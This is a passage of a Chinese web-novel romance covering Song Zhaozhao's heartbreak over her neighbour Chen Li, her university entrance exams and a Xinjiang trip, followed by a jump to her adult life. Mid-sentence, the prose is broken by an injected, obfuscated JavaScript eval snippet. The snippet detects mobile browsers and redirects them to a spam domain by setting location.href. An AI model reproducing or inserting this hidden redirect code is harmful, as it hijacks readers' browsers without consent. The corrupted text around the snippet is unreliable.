说完后,徐行雪紧接着悠悠地叹了一口气:“造孽啊。” “你这……残忍!完全伤了人家妹妹的心。” “以后再想追求她,可就难了。” 陈历自嘲地扯了扯嘴角,他还有机会吗? 徐行雪斟酌了半晌,又问:“现在是冲刺高考的关键时期,让她分心确实不好。不然等她高考结束,我去帮你解释?” “人这一生,遇到喜欢又肯真心待你的人,不容易,千万要抓住啊。” 徐行雪真诚劝诫,陈历却摇摇头道:“不必了。” 他跟宋昭昭之间,并非只有高考那一道门槛。与其将来两个人难舍难分,纠缠到大人面前,闹得两家都难堪,不如当断则断。 他已经狠心拒绝过她,不破不立,不妨借着这次机会,让他们重回最简单的邻居关系。 夜晚的灯光忽明忽暗,闪烁的路灯洒到陈历身上,那双眼睛变得晦涩不明。 徐行雪瞟了他一眼,无奈道:“行,将来你不后悔就行。” 陈历闭上眼,后悔,也来不及了。 48. 第四十八章 48 陈历回了宿舍,没开灯的房间黑漆漆的,同寝的舍友出门聚餐还没回来。 他亦疲倦,懒得伸手去摁开关键,没什么精神头地走进了房间。 四人间的宿舍,上床下桌,几百个日夜,早已经走过无数遍,他摸黑来到自己的床位,放下随身携带的背包,打开了台灯。 陈历扶着椅背坐了下来。 台灯的光源集中在桌面这一小块地方,照出《民法》、《网络知识产权保护》、《刑法注释》等书籍,堆叠在一摞法律书下面,有几本中外名著,通常是陈历研究案件感到疲惫后,拿来消遣放松的。 他在桌面环视一圈,几天不在宿舍,放在最上端的书本封面居然覆上了一层薄薄的灰,在灯光的照射下,清晰可见。 他抽了两张纸巾,轻轻将书本上的灰尘擦去。 这本专门注释法规法条的书本,他经常翻阅,尽管陈历对它细心呵护,但页脚仍旧有些微微上翘,书脊更是磨损得厉害。 陈历对它再熟悉不过,翻动了一下,刚好停在第十三页。 陈历眸光下敛,不断翻涌着悲伤的视线落到夹在这一页中间的照片上。 这张照片是他去年刚打印的。 当时徐行雪斥资买了一台打印机,商家附赠了十张打印照片的相纸。她觉得新奇有趣,跃跃欲试。 虽然徐行雪平时美照很多,但真要让她挑几张出来打印,她反倒犯了难。 于是她跑到陈历面前,问他有没有想打印的照片,她可以将打印机借他一用。 陈历摇头拒绝。 他很少拍照,手机里除了需要经常用到的一寸照,剩下的基本也都和文件、工作有关。 徐行雪诧异:“不是吧,你没有一张生活照吗?” 她绕在他身侧叽叽喳喳:“别觉得不好意思,帅哥的手机里怎么会没有自己的照片呢?我不信!” 陈历才不在乎她信不信,刚想摇头再次拒绝,脑海中忽地闪过一幅画面。 他想起宋昭昭初中毕业那年,为了庆祝她考上重点高中,他请她吃了一顿饭。 饭后两个人在市民公园散步,晃晃悠悠地走到贩卖鲜花的小摊面前。 他说送她花,她千挑万选,最后选中一束茉莉。 她似乎很喜欢这束茉莉,坐的士回程的路上,双手紧紧抱住它,迎着晚风心情舒畅。 那一幕静谧美好的画面,让他冰封许久的心忽地漏跳了一拍。 陈历鬼使神差地掏出手机,趁她没注意悄悄偷拍了一张照片。并没有私藏的想法,本想等回家后传送给她,但当晚忘了发,后面就再没找到合适的机会。 陈历最终还是借用徐行雪的打印机把这张照片打了出来。徐行雪见到照片上的小女孩时,就跟狗仔嗅到八卦的气息,双眼冒着闪烁的光芒。 她跟在他身后连声追问—— “这位小妹妹叫什么名字?” “她跟你什么关系啊?” “你怎么会想起来打印她的照片呢?哦——你是不是喜欢她啊?人家喜欢你吗?陈历,你封心锁爱这么多年,是不是就在等她?” 陈历一言不发地与她对视。 他不懂,徐行雪怎么一天到晚有那么多问题。 徐行雪望着他那双漆黑的眸子,忽地拍一下脑子,福至心灵般问道:“靠,你该不会是单相思吧?” 徐行雪东一句西一句,问得陈历抽了抽嘴角,不堪其扰。 他瞄了两眼刚打印出来的热乎的照片,随手塞进旁边的书本里,不咸不淡回应:“邻居家的妹妹。” 是吗? 陈历你扪心自问,她对你而言,只是妹妹吗? 或许时间的光影早就模糊掉“妹妹”的含义,他们一步步靠近彼此,只差捅破最后一层窗户纸。 然而在最后一层窗户纸前,他遏止住了上前的脚步。 他尚且没有资格。 陈历的手轻轻抚上光滑的照片,宋昭昭嘴角微翘的侧脸在暗夜中莫名有能平稳人心绪的作用。 他小心翼翼地将照片压在胸口,低声喃喃道。 “昭昭。” “我该拿你怎么办。” - 宋昭昭被勒令停学一周,表面上看起来平静从容,并没有受此事影响。但宋母担心她在压抑自己的情绪,尚未爆发,于是请了两天假,在家陪伴她。 十分钟问一次有没有想说的话,半小时敲个门问她想不想喝果汁,等到了饭点,宋母又急急忙忙端来饭菜,准许她在房间用餐。 宋昭昭哑然失笑,又将碗筷端回餐桌前,特意在宋母面前转了一圈,停下来耸耸肩。 她语气颇有些无奈:“妈,我真没事,你不用担心我。” 宋母凑上前,视线在她脸上仔仔细细扫了一圈,关切地问道:“那个男生还有没有再纠缠你?如果他发消息骚扰你,你跟妈讲,妈绝对找他们拼命!” 她说得振振有词,猛一拍桌子,怒火再次烧了起来。 宋昭昭干巴巴地笑了两声,坐到餐桌前,夹了一口米饭,问:“怎么拼命?拿刀砍还是拿棍子敲?要不要我帮你递武器?” 居然还有心思调侃? 宋母的视线再次追随着她,在她身上多次流转,挪步回餐桌前,坐下。 她问:“真没觉得难过或是委屈?你要是不高兴就哭出来,妈的肩膀给你靠,妈的衣服勉强给你擦。”说着,宋母挺起胸膛,拍了拍自己的肩膀。 宋昭昭嘴角浅浅一弯。 宋母又说:“或者你最近有没有什么想吃的零食和水果,妈都给你买。还有你喜欢的二次元的周边,妈也给你买!” 瞧她一脸严肃认真,可见她是准备豁出大钱。 宋昭昭被逗乐,噗嗤笑出声:“都不用!不过……等我高考结束,我想出去旅游,不知道妈妈能不能资助一下呀?” 宋母爽快答应。 “那必须的,高中三年辛苦了,当然要出去玩,好好放松一回!” 宋昭昭撒娇,语调软软的:“我就知道妈妈最好了!” 母女两说说笑笑,很快把桌面的饭菜吃得一干二净。 这边刚抚平宋母的情绪,那边陈蓓又发来连番轰炸的语音。 陈蓓这人最讲姐妹义气,在语音里吐槽贺辛述为人蠢笨,告白居然选择学校的小树林,还被德育处主任抓个正着。 闻所未闻,闻所未闻! 陈蓓咬牙切齿,为宋昭昭打抱不平:“听说他妈妈还在办公室为难你了?你现在还好吗?下次在学校见到他妈妈,我非冲上去咬她两口!” 宋昭昭胸腔内被温暖感动的情绪填得满满当当,她与陈蓓贫嘴:“支持,让他妈妈见识一下我们蓓蓓的伶牙俐齿。” 宋昭昭一语双关。 陈蓓大嗓门传了过来:“好啊你昭昭,都打趣起我来了!” 停学在家的日子,宋昭昭一如既往早起学习,按时吃饭,准点睡觉,宋母见宋昭昭心情和状态似乎真的没有受影响,而公司里正巧碰上一个新项目,组内人员忙得不可开交,她也不好意思再请假,于是拎着包上班去了。 本来宋父请缨这几天轮到他去请假,在家照顾女儿。 宋昭昭直接给拒了:“没必要,我个人觉得还是赚钱重要。”她嘿嘿一笑,“我等着您和老妈资助我毕业旅行呢。” 宋父放心不下,欲言又止。 宋昭昭转身回房,拎出一叠试卷,嘴巴下撇,可怜兮兮道:“看,这么多作业,我哪里有时间伤春悲秋啊!” 话虽这么说,可真等宋父宋母离开了家,偌大的房间只剩下她一个人,从厨房到客厅、再到卧室,一片静悄悄的,她还是忍不住委屈。 宋昭昭将自己反锁在卧室,穿着睡衣躺倒在床上,仰面无神地望着天花板。 思绪断断续续,视线也逐渐变得没有焦点,眼眶越来越酸胀,宋昭昭轻轻一眨眼,充盈的泪水便顺着眼角流了下来。 她望天花板上吊着的灯,无声哭泣。 随着年岁渐长,她已经不习惯向外人示弱,因而人前装出一副无所谓的模样,但这几天每每躺回被窝里,她都会将被子盖过头顶,躲在狭窄、沉闷的被子里哭。 但她不能放声大哭。 父母在家,听到她哭泣会担心。 她只有借着父母都去上班的空隙,放任自己沉溺在悲伤里面。 她反复告诫自己,哭吧,就哭这最后一次,哭完之后再也不要为他流泪了。没关系的。熬过去就好了。 然而泪水仿佛有自己的思想,好似天上落不完的细雨,一刻不停地从眼眶里汹涌而出。宋昭昭懒得伸手擦拭,任由它顺着太阳穴往下淌,有的流进头发里,有的坠到床单上,不一会儿,床单两侧显出一片湿漉漉的痕迹。 哭什么呢?宋昭昭沉沉地叹出一口气。 她现在这副邋遢模样,到底是在不平什么?宋昭昭自问,她连“告白被拒”都算不上,有什么好伤心的? 比起当面告白被拒绝,到最后彼此尴尬、躲避,生疏到连朋友都算不上。现在这副境况已经不能更好。 好在她的话断就断在“其实我喜欢的一直是”,尾音消散在天台的风里,也不知陈历到底有没有听见那一声“你”。 不过,那些都不重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432584|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 重要的是他已非单身,他是有女朋友的人。 以后,她恐怕不能再口口声声地喊“陈历哥哥”,缠着他给她讲习题。她需要同他保持距离,从喜欢的情绪中慢慢剥离。 而从十三岁到十八岁,整整五年的时光,很多行为习惯早已深入骨髓,她该怎么改? 譬如此刻,她哭累了,泪眼模糊还要打开手机去翻看他的朋友圈,看看他最近有没有发什么动态。 虽然他除了偶尔转发法律新规、案件分析等文章,很少发私生活,但即使是一篇篇晦涩难懂的文章,只要是他转载的,陈蓓都会一字一句研读,她想着反正将来也是要读法律相关的专业,不如就当提前学习了。 只是现在…… 宋昭昭陷入迷茫,她当真还要填选F大的法律专业吗?这个陈历本科母校,当年她也将之奉为目标,日思夜盼的大学。 脑子一团乱,宋昭昭哪里能理智地想出个结果。与其瞻前顾后、三思而行,她倒不如行动起来。 没错,打败焦虑最好的办法就是行动! 宋昭昭长舒一口气,为自己加油打气,红着眼睛从床上爬起来。 她端端正正地坐到书桌前,翻开了一套数学试卷。 尽管她态度积极,但人的注意力、情绪并不完全受她控制,这一套题做得磕磕绊绊,等写完后拿出红笔订正,圈圈叉叉,错误率直线攀升。 宋昭昭举着试卷掩面,快被自己气笑了。 她心想,小说里的主角受到刺激后不都是会激发潜能的嘛,成神者比比皆是,怎么她连一套试卷都错题频出。 倒霉! 倒霉! - 这样浑浑噩噩的状态一直持续到停学的倒数第二个晚上,宋昭昭像往常一样背完单词,准备上床睡觉。 睡前掏出手机,手又习惯性地点开了陈历的朋友圈。 她“啧”一声,左手轻轻拍了一下右手,似在惩罚它的下意识行为。 这几天在家,宋昭昭特意开始控制自己刷他状态的行为,频率暂且降低了一点点,但还没完全停止。 宋昭昭并不强求,她宽慰自己,多年养成的习惯岂是能轻易改变的。慢慢来,不着急。 就当她以为会再次看见“三天可见”这几个熟悉的字,这次,空白的页面忽然跳出两条置顶内容。 宋昭昭诧异的眼睛逐渐睁圆。 她不可置信地点开置顶,看见里面挂着两张旧照片。 其中一张是他考入A大研究生时发的照片,烫金大字在阳光底下闪出金色的光芒,格外闪耀,好似昭示着他前途似锦。 另外一张时间更久远,五六年前高中毕业,他收到的来自F大的录取通知书。 还记得高考前夕,宋昭昭问过他想考哪所大学,陈历说,等结束吧。等高考结束,如果我能被它顺利录取,我就带着录取通知书告诉你。 后来,他果真赴约,拿着这张录取通知书来告诉她喜讯。 朋友圈这张照片就是宋昭昭拍的,背景在她家卧室。当时宋昭昭怂恿他这么大的喜事,发个朋友圈记录一下。 陈历婉拒。 宋昭昭绕在他身侧,动之以情晓之以理:“发一下吧,多值得纪念的事情啊。我要是能考上F大,我爸妈指定敲锣打鼓张贴横幅!” “你把录取通知书发到朋友圈,顺便就当给我树立高中目标了,我要朝着F大的方向努力狂奔!” 多年过去,这些话宋昭昭居然都能熟练地背下来,可见这些场景,她在心里回忆重复过无数遍。 现如今,人事已非,唯一不变的是她的目标。 没错,她考大学的目标不应该因任何人而改变。 F大不仅仅是陈历的本科大学,更是支撑着她苦苦坚持了三年的信念,这是一道有关于她的考题,她要全力以赴! 厘清出重点之后,宋昭昭就跟打了鸡血似的,又从床上爬起来,怒写了一整张试卷。 往后每一天,宋昭昭都全凭这口气吊着,雷打不动地背单词、刷题,坚持到六月初。 高考倒计时第三天。 宋昭昭最近这段时间回家住,下了晚自习,宋父宋母的车早早等在校门口。 她坐到后座,一言不发地掏出手机继续背诵文言文和注释。 默背了几分钟,手机里忽地弹出好几条消息,宋昭昭没被突如其来的消息打断背诵的计划,等回了家,吃过夜宵洗过澡,重新坐到书桌前复习的时候,才想起来手机里好像还躺着未回复的消息。 她随手点开,眼睛从课本上移到屏幕,才发现消息来自—— 陈历。 49. 第四十九章 49 宋昭昭看见消息时,怔愣片刻。 自从那晚陈历送她回家后,宋昭昭接连哭了几天,才从悲伤之中缓过神。那些眼泪剥夺走了她大部分精力,她不再像以前那样,时时刻刻和他分享生活,向他询问数学大题。 那种类似于与生俱来的亲密感,在她身上渐渐消失。 她已经很久没有找他,不料今晚他竟然主动找上门。宋昭昭抱着一丝不切实际的期待,狐疑地点开消息。 高考注意事项、携带用具、考试时间等等,都在对话框中详略得当地列出,并且制作成图片,方便她保存。 宋昭昭认真地浏览了一遍他发的文字,杂乱跳跃的思绪变得平静。 他似乎并没有感受到宋昭昭连日来的异常表现,一如既往地叮嘱她,为她做安排。 用宋昭昭先前开玩笑的话说,陈历就像他操心的老父亲。 宋昭昭轻笑一声,随手将图片转发给陈蓓。 没过半分钟,陈蓓的语音如约而至:“好详细的列表!昭昭你人最好了!花不少时间整理的吧,等考试结束我请你吃饭啊。” 宋昭昭:“助人为乐。” 她这么做,无非想提醒自己,陈历和她的行为目的相似,不过是简单的助人为乐而已。 并不因为她是谁。 宋昭昭捧着手机又一次默读了一遍注意事项,她在键盘上打字,改改删删,最终发送出“谢谢”两个字。 对面很快回了句:【加油。】 天花板吊着的顶灯洒下一片光,手机屏幕反射出的白光明晃晃地刺了一下她的眼睛。 她伸手揉了揉眼角。 半晌之后,宋昭昭将手机放到左手侧的桌面,继续埋头苦学。 - 高考结束,宋昭昭走出考场那天,天空中飘起细细密密的小雨。 同学们并没有像考前喊出豪言壮志那般撕试卷庆祝,也没有欢呼雀跃地击掌奔跑,大家的肩膀松松垮垮,好似终于卸下沉重的负担。 收完试卷后,男女生不约而同地从各个楼层涌向一楼的平地。 不一会儿,教学楼下方挤满了密密麻麻的人群。 移动的人流从楼梯口开始分散,方向大致分为三种:自习室、寝室楼、校门口。 宋昭昭混在人群中,表情有些涣散。 她有些无法想象,当年紧张期待又害怕了那么久的高考,居然就这么潦草的落下帷幕,与之一同结束的,还有她长达三年的高中生涯。 略带遗憾但志存高远的青春终究迎来句号。 她的视线缓慢地扫过在场的同学,一张张稚嫩青涩的脸上写满疲倦,没有一个人的眼睛下面不挂着乌青的眼圈,那种由内而外散发的死气沉沉笼罩在众人身上。 宋昭昭露出一个短促而心酸的微笑。 下一秒,背后忽然蹦出来一个人,单手勾住她的脖子,满身热气扑到她身上。 “昭昭!” “终于考完了啊!” 陈蓓充满活力的声音打破此刻的宁静,她的鲜活与在场快要霉烂的气氛形成强烈对比。 宋昭昭看见陈蓓那一刻,身心稍稍放松下来。 她伸手揽过陈蓓的腰,闭口不提考试的内容,讨论答案实在扫兴。于是她问:“接下来想好去哪里玩了吗?” 陈蓓朝她挑眉,嘹亮的嗓音压过周遭的嗡嗡声:“正要找你说这事呢,暑假去不去新疆玩?我们几个老同学组成小旅行团,趁现在只有高三生结束高考,其他年级段的学生还没放暑假,人流少,现在去刚刚好!” 宋昭昭与她一拍即合:“我也正有此意!” 她们手挽手走过操场,走向校门口。 因为讨论暑假游玩的事情而露出期待兴奋的笑意,那些立体几何、三角函数,统统抛掷脑后。 细雨飘落在学生和家长的头顶上,这三年在胸口沉积的阴郁的情绪,仿佛要随着这一场连绵不断的雨下个干干净净。 走出校门时,宋昭昭仰面望向灰沉沉的天空,长舒了一口气。 脑海中莫名闪过一个念头,陈历曾经也和她一样,经历过一场千军万马过独木桥的高考。当年的他,走出这座校门时,心里又有何感触呢? 她只觉得解脱。 宋昭昭在心底画了一个大大的句号,结束了。 终于都结束了。 - 在高考成绩出来之前,宋昭昭和陈蓓伙同之前高一的几位同学,组成一个小型旅游团,包了一个新疆本地的导游,出发去玩了十天时间。 导游开车,她们坐在后排, 车窗大开,风从四面八方灌进来,车轮与沥青路发出摩擦的“吱吱”声,整车的人驰骋在辽阔的、一望无际的公路上。 天高云淡,碧草茵茵。 宛如棉花糖的云朵一团团地漂浮在蓝色天幕,低低地压下来,仿佛唾手可得。 公路两旁绿草茂盛,随处可见羊群与牛群,陈蓓开玩笑地提议:“不如我们现抓一只,当场烤了吃。” 导游回头,哈哈大笑:“我怕牛没抓到,你先被牛蹄踹成重伤。” 一车人七嘴八舌,开始出主意。 “咱们去找根绳子给牛五花大绑起来,就不怕被踹伤了。当然,首先要解决的就是绳子问题。” “不怕牛主人找上门啊?” “找我?那我就跪地求饶,在座的各位,一个都跑不了哈!” 宋昭昭知道大家就是随口那么一说,随着起伏的讨论声,笑得眉眼弯弯。 风将她的头发吹得凌乱。 宋昭昭的位置靠窗,她前后张望了一下,看见整条公路上只有他们一辆车,于是大胆地朝窗外伸出半只手。 呼啸的夏风从她的指间穿过,宋昭昭感受到从未有过的轻盈。 人生本该如此。 阳光晒得人暖洋洋的,她困乏地闭上了眼睛。 宋昭昭梦到她在草原上骑马,第一次体验让她兴奋不已,她紧张地两腿夹紧,身子不自觉拱起,整个人的状态非常紧绷。 当地的牧民告诉她:“放轻松,再放轻松一点点。” 宋昭昭双手捏成拳,指节都泛白了。她咬牙说“好”,结果下一秒,牧民猛地拍了一下马儿的屁股,她身子忽地后仰,双手紧紧拉住缰绳。 骏马朝前狂奔。 风声在她耳边擦过,背后传来陈蓓焦急的呼喊声。 她坐在马背上,感受到马儿狂奔而产生一颠一颠的颠簸感,她似乎察觉到胃里的食物都快冲破喉咙吐了出来。 刺激与恐惧并存,宋昭昭的太阳穴突突地 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骑马带来的刺激感充斥着大脑,宋昭昭坐在床头,闭着眼梳理了一遍最近接触的案件,越思考,人越清醒。 眼见着窗外的天空逐渐露出鱼肚白,宋昭昭去浴室重新冲洗了一遍,换上休闲服,打算出门买早餐。 她租住的房子左侧有一片小胡同,胡同里常住的老人在门口摆出早餐摊子,宋昭昭要了一根油条、一杯豆浆还有四个烧卖,坐在狭窄的店内细嚼慢咽。 今天是五一假期的最后一天,她今年难得没有回家,而是选择待在康平。 她在康平读了四年本科,又念了三年研究生,如今实习也留在此处。 宋昭昭活了二十几年,除了土生土长的槐城,康平算得上是她的第二个故乡。 她对这两个地方感情深厚。 边吃早餐边浏览新闻推送,宋昭昭想起前两天陈蓓给她拨了一通电话。 电话里陈蓓义愤填膺,破口大骂。 原是因为她跟梁洲五一假期去摄影展览馆参观,结果被一位偷拍狂魔跟踪,对方将她堵到厕所里威胁。 陈蓓哪里是能被威胁的性子,当场就和偷拍狂魔干架,联合梁洲将他扭送去了警局。 陈蓓火冒三丈,向她询问这类人渣被抓后大概能判几年,宋昭昭向她一一解释。 末了,宋昭昭担忧地向陈蓓表达关心:“那些照片,哪怕事后他会散播到网上,你可以拒不承认,并且……” “没必要!” 陈蓓咬牙切齿:“不就是穿了打底裤的几张照片吗,甚至都没拍到隐私部位,我才不会为这些照片感到羞耻,该羞耻的是偷拍的败类!人渣!” “你知道吗?他的手机里好像还有成百上千张之前偷拍其他女性的照片,被抓时他还试图删除证据,全被警察复原了。” “在我之前,他已经祸害了太多女性,指不定借着这些照片提什么下三滥的要求。” “我已经做过笔录,还提供了对话录音,姐等着他吃牢饭那一天!” 宋昭昭为陈蓓的勇敢而动容,谁料她的下一句直接在平静的水面投下一个炸弹。 “我跟你说,这次假期,梁洲他还……” “他吻了我。”